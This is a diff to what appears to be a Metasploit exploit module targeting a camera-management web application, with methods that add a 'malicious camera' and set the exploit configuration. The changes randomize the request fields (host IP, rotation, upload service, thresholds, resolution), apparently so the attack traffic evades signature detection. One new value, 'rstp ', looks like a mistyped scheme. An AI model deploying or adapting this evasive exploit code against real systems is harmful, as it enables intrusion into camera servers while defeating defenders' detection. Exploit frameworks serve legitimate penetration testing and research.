@@ -180,6 +180,10 @@ def send_signed_request_cgi(opts = {})
180180 return send_request_cgi ( new_opts )
181181 end
182182
183+ def random_ipv4
184+ Array . new ( 4 ) { rand ( 0 ..255 ) } . join ( '.' )
185+ end
186+
183187 def add_camera
184188 print_status ( 'Adding malicious camera...' )
185189
@@ -188,8 +192,8 @@ def add_camera
188192 'method' => 'POST' ,
189193 'ctype' => 'application/json' ,
190194 'data' => {
191- 'scheme' => '' ,
192- 'host' => '' ,
195+ 'scheme' => 'rstp ' ,
196+ 'host' => random_ipv4 ,
193197 'port' => '' ,
194198 'path' => '/' ,
195199 'username' => '' ,
@@ -229,7 +233,7 @@ def set_exploit(camera_id)
229233 'name' => camera_name ,
230234 'proto' => 'netcam' ,
231235 'auto_brightness' => false ,
232- 'rotation' => '0' ,
236+ 'rotation' => [ 0 , 90 , 180 , 270 ] . sample ,
233237 'framerate' => '2' ,
234238 'privacy_mask' => false ,
235239 'storage_device' => 'custom-path' ,
@@ -242,10 +246,10 @@ def set_exploit(camera_id)
242246 'upload_enabled' => false ,
243247 'upload_picture' => false ,
244248 'upload_movie' => false ,
245- 'upload_service' => 'ftp' ,
249+ 'upload_service' => [ 'ftp' , 'sftp' , 'webdav' ] . sample ,
246250 'upload_server' => '' ,
247251 'upload_port' => '' ,
248- 'upload_method' => 'post' ,
252+ 'upload_method' => [ 'post' , 'put' ] . sample ,
249253 'upload_location' => '' ,
250254 'upload_subfolders' => false ,
251255 'upload_username' => '' ,
@@ -258,7 +262,7 @@ def set_exploit(camera_id)
258262 'web_hook_storage_enabled' => false ,
259263 'command_storage_enabled' => false ,
260264 'text_overlay' => false ,
261- 'text_scale' => '1' ,
265+ 'text_scale' => Rex :: Text . rand_text_numeric ( 1 .. 3 ) ,
262266 'video_streaming' => false ,
263267 'streaming_framerate' => '5' ,
264268 'streaming_quality' => '85' ,
@@ -282,17 +286,17 @@ def set_exploit(camera_id)
282286 'max_movie_length' => '0' ,
283287 'preserve_movies' => '0' ,
284288 'motion_detection' => false ,
285- 'frame_change_threshold' => '0.6507161458333334' ,
289+ 'frame_change_threshold' => "0. #{ Rex :: Text . rand_text_numeric ( 16 ) } " ,
286290 'max_frame_change_threshold' => '0' ,
287291 'auto_threshold_tuning' => false ,
288292 'auto_noise_detect' => false ,
289- 'noise_level' => '13' ,
293+ 'noise_level' => Rex :: Text . rand_text_numeric ( 10 .. 32 ) ,
290294 'light_switch_detect' => '0' ,
291295 'despeckle_filter' => false ,
292- 'event_gap' => '30' ,
296+ 'event_gap' => Rex :: Text . rand_text_numeric ( 5 .. 30 ) ,
293297 'pre_capture' => '1' ,
294298 'post_capture' => '1' ,
295- 'minimum_motion_frames' => '20' ,
299+ 'minimum_motion_frames' => Rex :: Text . rand_text_numeric ( 20 .. 30 ) ,
296300 'motion_mask' => false ,
297301 'show_frame_changes' => false ,
298302 'create_debug_media' => false ,
@@ -303,7 +307,7 @@ def set_exploit(camera_id)
303307 'command_notifications_enabled' => false ,
304308 'command_end_notifications_enabled' => false ,
305309 'working_schedule' => false ,
306- 'resolution' => ' 640x480'
310+ 'resolution' => [ '320x240' , ' 640x480', '1280x720' ] . sample
307311 }
308312 } . to_json
309313 )
0 commit comments